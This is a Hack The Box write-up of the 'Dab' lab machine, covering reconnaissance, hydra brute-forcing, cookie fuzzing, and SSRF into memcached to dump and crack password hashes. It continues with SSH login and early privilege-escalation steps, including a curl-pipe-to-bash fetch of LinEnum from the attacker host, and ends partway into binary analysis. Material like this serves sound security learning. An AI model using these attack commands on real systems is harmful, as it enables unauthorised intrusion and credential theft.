Hack The Box – Dab

This article contains my first writeup on a machine from Hack The Box. If you have not checked out Hack The Box yet, I really suggest you do. Aside from providing classical CTF-style challenges, the plattform hosts plenty of vulnerable machines (boxes), which are supposed to be exploited. The boxes tend to be geared to realistic scenarios and are thus an awesome opportunity to increase your own pen testing skills.

In order to prove the exploitation of a machine, there are two different flag files stored on each machine. The first one to acquire is a file called user.txt, which can be read by a low privileged user. The next step after initially exploiting the machine is to escalate privileges gaining access to an administrative user (root access). With this high privileged user a second file called root.txt can be read. Both files contain a flag (an md5sum), which is supposed to be submitted on the Hack The Box website rewarding you with the corresponding points for this machine.

According to those two steps/files the article is divided into the following sections:

User
    – Port Scan
    – FTP (Port 21)
    – SSH (Port 22)
    – HTTP nginx (Port 80)
    – HTTP nginx (Port 8080)
    – Back to SSH

Root
    – Initial Enumeration
    – SUID binaries
    – myexec
    – libseclogin.so
    – myexec’s password
    – ldconfig
    – Compile own shared Library


User

Port Scan

In order to get a quick overview of the most common opened ports we can run nmap -sV -sC 10.10.10.86. The option -sV enables the version detection of available services (eg. by evaluating the service’s banner). -sC makes nmap run all default scripts for the available services:

root@kali:~/Documents/htb/boxes/dab# nmap -sV -sC 10.10.10.86
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-12 06:38 EST
Nmap scan report for 10.10.10.86
Host is up (0.072s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0            8803 Mar 26  2018 dab.jpg
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.13.93
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 20:05:77:1e:73:66:bb:1e:7d:46:0f:65:50:2c:f9:0e (RSA)
|   256 61:ae:15:23:fc:bc:bc:29:13:06:f2:10:e0:0e:da:a0 (ECDSA)
|_  256 2d:35:96:4c:5e:dd:5c:c0:63:f0:dc:86:f1:b1:76:b5 (ED25519)
80/tcp   open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
| http-title: Login
|_Requested resource was http://10.10.10.86/login
8080/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Internal Dev
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.58 seconds

Since nmap only scans the 1000 most common ports by default, we should also run nmap 10.10.10.86 -p- to scan all 65535 ports. In this case this does not reveal any other open ports:

root@kali:~/Documents/htb/boxes/dab# nmap 10.10.10.86 -p-
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-12 06:47 EST
Nmap scan report for 10.10.10.86
Host is up (0.040s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 52.29 seconds

The output of the first scan above contains detailed information on 4 running services on port 21, 22, 80 and 8080. Let’s have a closer look at each of those services.

FTP (Port 21)

According to the nmap output, there is a vsftpd 3.0.3 listening on port 21:

21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0            8803 Mar 26  2018 dab.jpg
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.13.93
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status

Since we ran nmap with default scripts enabled (-sC), it also tried to login anonymously. Obviously this was successful and the output lists a file called dab.jpg. We can confirm this by using ftp:

root@kali:~/Documents/htb/boxes/dab# ftp 10.10.10.86
Connected to 10.10.10.86.
220 (vsFTPd 3.0.3)
Name (10.10.10.86:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        120          4096 Mar 26  2018 .
drwxr-xr-x    2 0        120          4096 Mar 26  2018 ..
-rw-r--r--    1 0        0            8803 Mar 26  2018 dab.jpg
226 Directory send OK.

For the password simply hit ENTER. We can download the file using the command get dab.jpg:

ftp> get dab.jpg
local: dab.jpg remote: dab.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dab.jpg (8803 bytes).
226 Transfer complete.
8803 bytes received in 0.00 secs (239.8627 MB/s)
ftp> 

The image itself does not seem to reveal any useful information:

Also the metadata, which we can inspect using exiftool, do not seem to contain something useful:

root@kali:~/Documents/htb/boxes/dab# exiftool dab.jpg 
ExifTool Version Number         : 11.16
File Name                       : dab.jpg
Directory                       : .
File Size                       : 8.6 kB
File Modification Date/Time     : 2019:01:14 08:53:28-05:00
File Access Date/Time           : 2019:01:14 08:53:28-05:00
File Inode Change Date/Time     : 2019:01:14 08:53:28-05:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 96
Y Resolution                    : 96
Image Width                     : 151
Image Height                    : 132
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 151x132
Megapixels                      : 0.020

A common quick win to reveal hidden information in a file is to use strings or binwalk. Though in this case, there is nothing interesting here:

root@kali:~/Documents/htb/boxes/dab# strings dab.jpg 
JFIF
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
	#3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
U,Za+M
@gyX
gztU
~QEjE
NBPt
...

root@kali:~/Documents/htb/boxes/dab# binwalk dab.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01


As a next step we could try steganography tools like steghide or stegoVeritas. Since there are more services to look at, we proceed with those first.

SSH (Port 22)

According to the nmap output, the server is running OpenSSH 7.2p2:

22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 20:05:77:1e:73:66:bb:1e:7d:46:0f:65:50:2c:f9:0e (RSA)
|   256 61:ae:15:23:fc:bc:bc:29:13:06:f2:10:e0:0e:da:a0 (ECDSA)
|_  256 2d:35:96:4c:5e:dd:5c:c0:63:f0:dc:86:f1:b1:76:b5 (ED25519)

This version is vulnerable to CVE-2018-15473, which can be used to determine if a given username exists or not. This can for example be done using this script:

root@kali:/opt/ssh-user-enum# ./ssh-check-username.py 10.10.10.86 root
[+] Valid username
root@kali:/opt/ssh-user-enum# ./ssh-check-username.py 10.10.10.86 www-data
[+] Valid username
root@kali:/opt/ssh-user-enum# ./ssh-check-username.py 10.10.10.86 ftp
[+] Valid username
root@kali:/opt/ssh-user-enum# ./ssh-check-username.py 10.10.10.86 dab
[*] Invalid username
root@kali:/opt/ssh-user-enum# ./ssh-check-username.py 10.10.10.86 user
[*] Invalid username

Despite of verifying some common usernames this does not gives us a great advantage for now. So let’s proceed with the next service.

HTTP nginx (Port 80)

On port 80 a nginx webserver is listening:

80/tcp   open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
| http-title: Login
|_Requested resource was http://10.10.10.86/login

Accessing the website, we are redirected to a login page at /login:

Using default credentials (admin / admin) displays the error message Error: Login failed:

In order to find a valid login we can use hydra using a password wordlist from SecLists:

root@kali:~/Documents/htb/boxes/dab# hydra 10.10.10.86 -l admin -P /usr/share/wordlists/SecLists/Passwords/probable-v2-top12000.txt http-post-form "/login:username=^USER^&password=^PASS^:Login failed"
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-01-15 01:01:49
[DATA] max 16 tasks per 1 server, overall 16 tasks, 12645 login tries (l:1/p:12645), ~791 tries per task
[DATA] attacking http-post-form://10.10.10.86:80//login:username=^USER^&password=^PASS^:Login failed
[80][http-post-form] host: 10.10.10.86   login: admin   password: Password1
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-01-15 01:02:32

A quick explaination of the used options:

Option Description
-l admin For every login attempt use the username “admin”.
-P /usr/share/wordlists/... For the password use words from the given wordlist.
http-post-form The request method is POST.
"/login:username=^USER^&password=^PASS^:Login failed"" The request URL is /login. The POST parameters are username and password, which are set by hydra. A failed login attempt can be identified by the string “Login failed”

With the credentials revealed by hydra (admin / Password1) we can login to the page, which simply lists a bunch of stock items:

Aside of a debug comment in the sourcecode stating that the data tables were loaded from MySQL, there is nothing really noticeable:

<html>
  <head>
    <title>Items in stock</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
  </head>
  <body>
    <div class="container">
      <h2>Welcome admin</h2>
      <a href="/logout">Logout</a>
      
      <h3>Items in stock (database updated every few hours)</h3>
      <!-- Debug... data tables were loaded from : MySQL DB -->
      <table>
      <thead>
      <th>
        <tr>
          <th>Item</th>
          <th>Qty</th>
        </tr>
       </th>
       </thead>
       <tbody>

When we reload the page, the ordering of the stock items changes and the comment in the sourcecode now states Debug... data tables were loaded from : Cache:

<html>
  <head>
    <title>Items in stock</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
  </head>
  <body>
    <div class="container">
      <h2>Welcome admin</h2>
      <a href="/logout">Logout</a>
      
      <h3>Items in stock (database updated every few hours)</h3>
      <!-- Debug... data tables were loaded from : Cache -->
      <table>

Since there does not seem to be any other functionalities, let’s keep the sightings in mind and proceed with the next service.

HTTP nginx (Port 8080)

There is another nginx webserver listening on port 8080:

8080/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Internal Dev

The website’s title is called Internal Dev displaying the error message Access denied: password authentication cookie not set:

Obviously we need to set an authentication cookie to access the page. Since we do not know the name of the cookie, we can use wfuzz to try different cookies and observe the server’s response:

root@kali:~/Documents/htb/boxes/dab# wfuzz -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -b 'FUZZ=1' http://10.10.10.86:8080

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.86:8080/
Total requests: 2588

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000001:  C=200     14 L	      30 W	    322 Ch	  "id"
000002:  C=200     14 L	      30 W	    322 Ch	  "action"
000003:  C=200     14 L	      30 W	    322 Ch	  "page"
000004:  C=200     14 L	      30 W	    322 Ch	  "name"
000005:  C=200     14 L	      29 W	    324 Ch	  "password"
000006:  C=200     14 L	      30 W	    322 Ch	  "url"
000007:  C=200     14 L	      30 W	    322 Ch	  "email"
000008:  C=200     14 L	      30 W	    322 Ch	  "type"
000009:  C=200     14 L	      30 W	    322 Ch	  "username"
000010:  C=200     14 L	      30 W	    322 Ch	  "file"
000011:  C=200     14 L	      30 W	    322 Ch	  "title"
000012:  C=200     14 L	      30 W	    322 Ch	  "code"
...

A quick explaination of the used options:

Option Description
-w /usr/share/wordlists/... The wordlist to use for fuzzing (this this case burp-parameter-names.txt).
-b 'FUZZ=1' Set a cookie in the request. For the name use the fuzz input from the given wordlist.
http://10.10.10.86:8080 The URL to fuzz.

Within every line wfuzz reports how the server responded for a specific payload (cookie name) displaying the status code (e.g. C=200), the line count (e.g. 14 L), the word count (e.g. 30 W) and the character count (e.g. 322 Ch). Intently examining the first lines of output we can already see, that the response for the payload password differs from the others (29 W, 324 Ch). In order to make different responses like this stick out, we can set a filter. By providing the option --hh 322 we can for example hide responses, which contain exactely 322 characters:

root@kali:~/Documents/htb/boxes/dab# wfuzz --hh 322 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -b 'FUZZ=1' http://10.10.10.86:8080

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.86:8080/
Total requests: 2588

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000005:  C=200     14 L	      29 W	    324 Ch	  "password"

Total time: 7.577409
Processed Requests: 2588
Filtered Requests: 2587
Requests/sec.: 341.5415

Using the filter we can see at a glance that the payload password differs from the others. Now we can make a request setting a cookie named password and see what the response actually contains:

root@kali:~/Documents/htb/boxes/dab# curl http://10.10.10.86:8080 --cookie "password=1"
<!DOCTYPE html>
<html lang="en">
<head>
<title>Internal Dev</title>
	<meta charset="UTF-8">
	<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width">
</head>
<body>
<div class="container wrapper">

Access denied: password authentication cookie incorrect

</div>
</body>
</html>

There is another error message: Access denied: password authentication cookie incorrect. This means that the name of the cookie (password) is correct, but the value (we simply supplied 1 here) is not correct. Again we can use wfuzz to fuzz the actual value. This time we hide responses containing 324 characters:

root@kali:~/Documents/htb/boxes/dab# wfuzz --hh 324 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -b 'password=FUZZ' http://10.10.10.86:8080

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.86:8080/
Total requests: 2588

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000190:  C=200     21 L	      48 W	    540 Ch	  "secret"

Total time: 7.729689
Processed Requests: 2588
Filtered Requests: 2587
Requests/sec.: 334.8129

Yet again, there is a reponse sticking out. This time for the payload secret. Let’s make the corresponding request and inspect the response’s content:

root@kali:~/Documents/htb/boxes/dab# curl http://10.10.10.86:8080 --cookie "password=secret"
<!DOCTYPE html>
<html lang="en">
<head>
<title>Internal Dev</title>
	<meta charset="UTF-8">
	<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width">
</head>
<body>
<div class="container wrapper">

<p>Status of cache engine: Online</p>
<h4>TCP socket test</h4>
<form action="/socket">
<input type="text" name="port" placeholder="TCP port"></input>
<input type="text" name="cmd" placeholder="Line to send..."></input>
<input type="submit" value="Submit"</input>
</form>


</div>
</body>
</html>

The page contains a TCP socket test with a form fields TCP port and Line to send.... By setting the cookie within our browser (e.g. using Cookie Manager) we can view the rendered page:

After having tried different ports and comparing the output with our nmap scan, we can be quite sure that the page is making connections to the server itself:

root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=21&cmd=a' --cookie "password=secret"
...
<p>Output</p>
<pre>
220 (vsFTPd 3.0.3)
530 Please login with USER and PASS.

root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=22&cmd=a' --cookie "password=secret"
...
<p>Output</p>
<pre>
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
Protocol mismatch.

root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=80&cmd=a' --cookie "password=secret"
...
<p>Output</p>
<pre>
HTTP/1.1 400 Bad Request
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 15 Jan 2019 07:04:51 GMT
Content-Type: text/html
Content-Length: 182
Connection: close

So what can we use this for? We also reached the ports above (21, 22, 80) from our own machine. Truly interesting are ports, which cannot be reached from our own machine, because there are listing on localhost. Those ports can be accessed through the webpage, because the page is running on the server itself.

If we try to access a port, which is not open, the server responses with 500 Internal Server Error. So we can create a bash-loop to internally scan for open ports:

root@kali:~/Documents/htb/boxes/dab# for i in `seq 1 20000`; do echo "port=$i"; curl 'http://10.10.10.86:8080/socket?port='$i'&cmd=test' --cookie 'password=secret' 2>/dev/null | tr -d '\n' | grep -v '500 Internal Server Error' ;done > internalports.txt

This loop scans the first 20000 ports and really takes some time. Actually we already stumbled upon some hints, which port we should look for. Within the sourcecode of the website on port 80, we saw a debug comment stating that the data was loaded from MySQL. Also the TCP socket test website on port 8080 displays the message Status of cache engine: Online. This should lead us to memcached, which is by default listing on port 11211. After our internal port scan loop reaches this port, it actually verifies that there is something listening on port 11211:

root@kali:~/Documents/htb/boxes/dab# cat internalports.txt | grep -v 'port=' -B1 
port=21
<!DOCTYPE html><html lang="en"><head><title>Internal Dev</title>	<meta charset="UTF-8">	<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"></head><body><div class="container wrapper"><p>Status of cache engine: Online</p><h4>TCP socket test</h4><form action="/socket"><input type="text" name="port" placeholder="TCP port"></input><input type="text" name="cmd" placeholder="Line to send..."></i</pre></div></body></html> and PASS.mit"</input></form><p>Output</p><pre>220 (vsFTPd 3.0.3)
port=22
<!DOCTYPE html><html lang="en"><head><title>Internal Dev</title>	<meta charset="UTF-8">	<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"></head><body><div class="container wrapper"><p>Status of cache engine: Online</p><h4>TCP socket test</h4><form action="/socket"><input type="text" name="port" placeholder="TCP port"></input><input type="text" name="cmd" placeholder="Line to send..."></iProtocol mismatch.</pre></div></body></html>put></form><p>Output</p><pre>SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
--
port=80
<!DOCTYPE html><html lang="en"><head><title>Internal Dev</title>	<meta charset="UTF-8">	<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"></head><body><div class="container wrapper"><p>Status of cache engine: Online</p><h4>TCP socket test</h4><form action="/socket"><input type="text" name="port" placeholder="TCP port"></input><input type="text" name="cmd" placeholder="Line to send..."></i</pre></div></body></html>inx/1.10.3 (Ubuntu)</center>r>t;><pre>HTTP/1.1 400 Bad Request
--
port=8080
<!DOCTYPE html><html lang="en"><head><title>Internal Dev</title>	<meta charset="UTF-8">	<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"></head><body><div class="container wrapper"><p>Status of cache engine: Online</p><h4>TCP socket test</h4><form action="/socket"><input type="text" name="port" placeholder="TCP port"></input><input type="text" name="cmd" placeholder="Line to send..."></i</pre></div></body></html>inx/1.10.3 (Ubuntu)</center>r>t;><pre>HTTP/1.1 400 Bad Request
--
port=11211
<!DOCTYPE html><html lang="en"><head><title>Internal Dev</title>	<meta charset="UTF-8">	<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"></head><body><div class="container wrapper"><p>Status of cache engine: Online</p><h4>TCP socket test</h4><form action="/socket"><input type="text" name="port" placeholder="TCP port"></input><input type="text" name="cmd" placeholder="Line to send..."></i</pre></div></body></html>value="Submit"</input></form><p>Output</p><pre>ERROR

memcached is a key-value based cache, which purpose is to hold data from a database like MySQL in the RAM to make it available more quickly. With a little bit of research the required commands to display all keys can be found.

At first we use the command stats items to list the slab ids:

root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=11211&cmd=stats%20items' --cookie "password=secret"
...
<p>Output</p>
<pre>
STAT items:16:number 1
STAT items:16:age 833
STAT items:16:evicted 0
STAT items:16:evicted_nonzero 0
STAT items:16:evicted_time 0
STAT items:16:outofmemory 0
STAT items:16:tailrepairs 0
STAT items:16:reclaimed 0
STAT items:16:expired_unfetched 0
STAT items:16:evicted_unfetched 0
STAT items:16:crawler_reclaimed 0
STAT items:16:crawler_items_checked 0
STAT items:16:lrutail_reflocked 0
STAT items:26:number 1
STAT items:26:age 833
STAT items:26:evicted 0
STAT items:26:evicted_nonzero 0
STAT items:26:evicted_time 0
STAT items:26:outofmemory 0
STAT items:26:tailrepairs 0
STAT items:26:reclaimed 0
STAT items:26:expired_unfetched 0
STAT items:26:evicted_unfetched 0
STAT items:26:crawler_reclaimed 0
STAT items:26:crawler_items_checked 0
STAT items:26:lrutail_reflocked 0
END

With the slab ids we can dump the actual keys using the command stats cachedump <slabid> <limit>:

root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=11211&cmd=stats%20cachedump%2026%20100' --cookie "password=secret"
...
<p>Output</p>
<pre>
ITEM users [24625 b; 1547538384 s]
END

There is a key users which we can dump using the command get users:

root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=11211&cmd=get%20users' --cookie "password=secret"
...
<p>Output</p>
<pre>
VALUE users 0 24625
{"quinton_dach": "17906b445a05dc42f78ae86a92a57bbd", "jackie.abbott": "c6ab361604c4691f78958d6289910d21", ...

Great! We obviously got plenty of usernames and hashed passwords. Please notice that you had to be logged in on the stock item website on port 80 recently for the cache to actually contain data.

We can simply pipe the output to a file and adjust the formatting a little bit (replace html-encoding, add new lines, …):

root@kali:~/Documents/htb/boxes/dab# cat users2.txt | head
quinton_dach:17906b445a05dc42f78ae86a92a57bbd
jackie.abbott:c6ab361604c4691f78958d6289910d21
isidro:e4a4c90483d2ef61de42af1f044087f3
roy:afbde995441e19497fe0695e9c539266
colleen:d3792794c3143f7e04fd57dc8b085cd4
harrison.hessel:bc5f9b43a0336253ff947a4f8dbdb74f
asa.christiansen:d7505316e9a10fc113126f808663b5a4
jessie:71f08b45555acc5259bcefa3af63f4e1
milton_hintz:8f61be2ebfc66a5f2496bbf849c89b84
demario_homenick:2c22da161f085a9aba62b9bbedbd4ca7

The hash-values seem to be md5. We can verify this by using the password for the username admin, which we already revealed using hydra:

root@kali:~/Documents/htb/boxes/dab# echo -n "Password1" | md5sum
2ac9cb7dc02b3c0083eb70898e549b63  -
root@kali:~/Documents/htb/boxes/dab# cat users2.txt | grep admin
admin:2ac9cb7dc02b3c0083eb70898e549b63

That is a match. Let’s run john on the file to crack more passwords:

root@kali:~/Documents/htb/boxes/dab# john users2.txt --format=Raw-MD5
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 495 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
default          (default)
demo             (demo)
Princess1        (genevieve)
Password1        (admin)
piggy            (abbigail)
blaster          (alec)
megadeth         (wendell)
misfits          (aglae)
monkeyman        (ona)
...

After letting john run for a while, we can output the cracked credentials to a file:

root@kali:~/Documents/htb/boxes/dab# john users2.txt --format=Raw-MD5 --show > users_cracked.txt

Back to SSH

Now we can try to access SSH with those credentials. Again we can use hydra for this supplying the file with the username:password combination (delete the last two lines from the john output beforehand):

root@kali:~/Documents/htb/boxes/dab# hydra -C users_cracked.txt 10.10.10.86 ssh
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-01-15 03:20:11
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries, ~1 try per task
[DATA] attacking ssh://10.10.10.86:22/
[22][ssh] host: 10.10.10.86   login: genevieve   password: Princess1
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-01-15 03:20:14

Nice! We found valid credentials for SSH: genevieve:Princess1. Let’s verify this by connecting with SSH:

root@kali:~/Documents/htb/boxes/dab# ssh genevieve@10.10.10.86
genevieve@10.10.10.86's password: 
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-133-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Tue Jan 15 03:10:06 2019 from 10.10.13.71
genevieve@dab:~$ id
uid=1000(genevieve) gid=1000(genevieve) groups=1000(genevieve)
genevieve@dab:~$ 

We successfully logged in. Now we can read the first flag file user.txt:

genevieve@dab:~$ ls -al
total 36
drwxr-xr-x 4 genevieve genevieve 4096 Jan 15 03:17 .
drwxr-xr-x 3 root      root      4096 Mar 19  2018 ..
lrwxrwxrwx 1 root      root         9 Aug 15 06:22 .bash_history -> /dev/null
-rw-r--r-- 1 genevieve genevieve  220 Mar 19  2018 .bash_logout
-rw-r--r-- 1 genevieve genevieve 3793 Mar 25  2018 .bashrc
drwx------ 2 genevieve genevieve 4096 Jan 15 03:19 .cache
-rw-r--r-- 1 genevieve genevieve  655 Mar 19  2018 .profile
drwx------ 2 genevieve genevieve 4096 Jan 15 02:01 .ssh
-r-------- 1 genevieve genevieve   33 Mar 19  2018 user.txt
-rw------- 1 genevieve genevieve  991 Jan 15 03:17 .viminfo
genevieve@dab:~$ cat user.txt 
9bcd ... (output truncated)

I truncated the output to avoid the temptation of just copy/pasting the flag.

After successfully gaining access to the machine as a user, we now proceed with the privilege escalation to root.


Root

Initial Enumeration

A good way to initially enumerate a system is LinEnum. In order to run the LinEnum.sh script, we host it on our attacker machine using python -m SimpleHTTPServer

root@kali:~/Documents/htb/boxes/dab# wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh
--2019-01-15 04:23:40--  https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh
Resolving github.com (github.com)... 192.30.253.112, 192.30.253.113
Connecting to github.com (github.com)|192.30.253.112|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh [following]
--2019-01-15 04:23:40--  https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.12.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.12.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45578 (45K) [text/plain]
Saving to: ‘LinEnum.sh’

LinEnum.sh                         100%[===============================================================>]  44.51K  --.-KB/s    in 0.02s   

2019-01-15 04:23:40 (2.88 MB/s) - ‘LinEnum.sh’ saved [45578/45578]

root@kali:~/Documents/htb/boxes/dab# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

… and pipe it to bash on the target machine. This way we directly execute the script and do not leave traces by downloading it to disk:

genevieve@dab:~$  curl http://10.10.12.142:8000/LinEnum.sh | bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 45578  100 45578    0     0   598k      0 --:--:-- --:--:-- --:--:--  601k

#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.94

[-] Debug Info
[+] Thorough tests = Disabled (SUID/GUID checks will not be perfomed!)


Scan started at:
Tue Jan 15 04:24:16 EST 2019


### SYSTEM ##############################################
[-] Kernel information:
Linux dab 4.4.0-133-generic #159-Ubuntu SMP Fri Aug 10 07:31:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux


[-] Kernel information (continued):
Linux version 4.4.0-133-generic (buildd@lgw01-amd64-029) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.10) ) #159-Ubuntu SMP Fri Aug 10 07:31:43 UTC 2018
...

After examining the output we get a general idea of the basic configuration of the system. Since there are no real striking abnormalities, we keep on looking for escalation possibilities manually.

SUID binaries

One common way to escalate privileges are vulnerable SUID binaries. These can be identified by enabling thorough tests in the LinEnum.sh script, but we can also search for those binaries using find:

genevieve@dab:~$ find / -xdev -perm -4000 2>/dev/null
/bin/umount
/bin/ping
/bin/ping6
/bin/su
/bin/ntfs-3g
/bin/fusermount
/bin/mount
/usr/bin/at
/usr/bin/newuidmap
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/myexec
/usr/bin/pkexec
/usr/bin/chfn
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/sbin/ldconfig
/sbin/ldconfig.real

A quick explanation of the used options:

Option Description
/ Start searching from the root-directory.
-xdev Don’t descend directories on other filesystems (mainly to exclude /dev, /proc and /sys).
-perm -4000 Search for files/directories with the SUID bit set.

In order to spot abnormalities here, it is very helpful if you have already some experience in knowing which files are usually SUID binaries. Of course you can also run the find command on an untouched reference machine and compare the results.

One file which sticks out here is /usr/bin/myexec, which does not exist by default. Also the SUID bit of /sbin/ldconfig and /sbin/ldconfig.real is usually not set.

myexec

In order to analyze the file /usr/bin/myexec we download it to our attacker machine:

root@kali:~/Documents/htb/boxes/dab# scp genevieve@10.10.10.86:/usr/bin/myexec .
genevieve@10.10.10.86's password: 
myexec                                                                                     100% 8864   421.8KB/s   00:00    

Now we can use radare2 to analyze the binary disassembling the main function:

root@kali:~/Documents/htb/boxes/dab# r2 -A myexec 
[x] Analyze all flags starting with sym. and entry0 (aa)
